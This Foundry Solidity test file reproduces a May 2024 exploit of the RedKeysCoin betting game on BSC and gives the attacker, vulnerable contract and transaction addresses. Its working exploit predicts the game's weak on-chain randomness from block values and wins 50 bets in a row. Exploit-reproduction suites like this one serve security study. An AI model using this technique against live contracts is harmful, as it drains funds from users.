src/test/2024-05/RedKeysCoin_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3 
4import "../basetest.sol";
5 
6import "forge-std/interfaces/IERC20.sol";
7 
8// @KeyInfo - Total Lost : $12K
9// Attacker : https://bscscan.com/address/0x36a6135672035507b772279d99a9f7445f2d1601
10// Attack Contract : https://bscscan.com/address/0x471038827c05c87c23e9dba5331c753337fd918b
11// Vulnerable Contract : https://bscscan.com/address/0x71e3056aa4985de9f5441f079e6c74454a3c95f0
12// Attack Tx : https://bscscan.com/tx/0x8d5fb97b35b830f8addcf31c8e0c6135f15bbc2163d891a3701ada0ad654d427
13 
14// @Info
15// Vulnerable Contract Code : https://bscscan.com/address/0x71e3056aa4985de9f5441f079e6c74454a3c95f0#code
16 
17// @Analysis
18// Post-mortem :
19// Twitter Guy : https://x.com/SlowMist_Team/status/1794975336192438494
20// Hacking God :
21 
22interface IRedKeysGame {
23    function playGame(uint16 choice, uint16 ratio, uint256 amount) external;
24    function counter() external view returns (uint256);
25}
26 
27contract RedKeysCoin is BaseTestWithBalanceLog {
28    uint256 blocknumToForkFrom = 39_079_951;
29 
30    IRedKeysGame constant game = IRedKeysGame(0x71e3056aa4985de9f5441f079E6C74454A3C95f0);
31    IERC20 constant coin = IERC20(0x00e62b6CCf1fe3e5E01CE07F6232d7F378518b6b);
32 
33    function setUp() public {
34        vm.createSelectFork("bsc", blocknumToForkFrom);
35        //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit
36        fundingToken = address(coin);
37 
38        vm.label(address(game), "RedKeysGame");
39        vm.label(address(coin), "REDKEYS");
40 
41        // prepare for exploit
42        deal(address(coin), address(this), 1e9);
43        coin.approve(address(game), type(uint256).max);
44    }
45 
46    function testExploit() public balanceLog {
47        for (uint256 i = 0; i < 50; i++) {
48            // get current counter
49            uint256 counter = game.counter();
50 
51            // estimate bet result by calculating the result of the function randomNumber
52            uint16 betResultExpectation = uint16(randomNumber(counter + 1)) % 2;
53 
54            // play the game
55            game.playGame(betResultExpectation, 2, 1e9);
56        }
57    }
58 
59    // random number generator with same logic of target contract
60    function randomNumber(
61        uint256 counter
62    ) internal view returns (uint256) {
63        uint256 seed = uint256(
64            keccak256(
65                abi.encodePacked(
66                    counter + block.timestamp + block.prevrandao
67                        + ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (block.timestamp)) + block.gaslimit
68                        + ((uint256(keccak256(abi.encodePacked(address(this))))) / (block.timestamp)) + block.number
69                )
70            )
71        );
72 
73        return (seed - ((seed / 1000) * 1000));
74    }
75}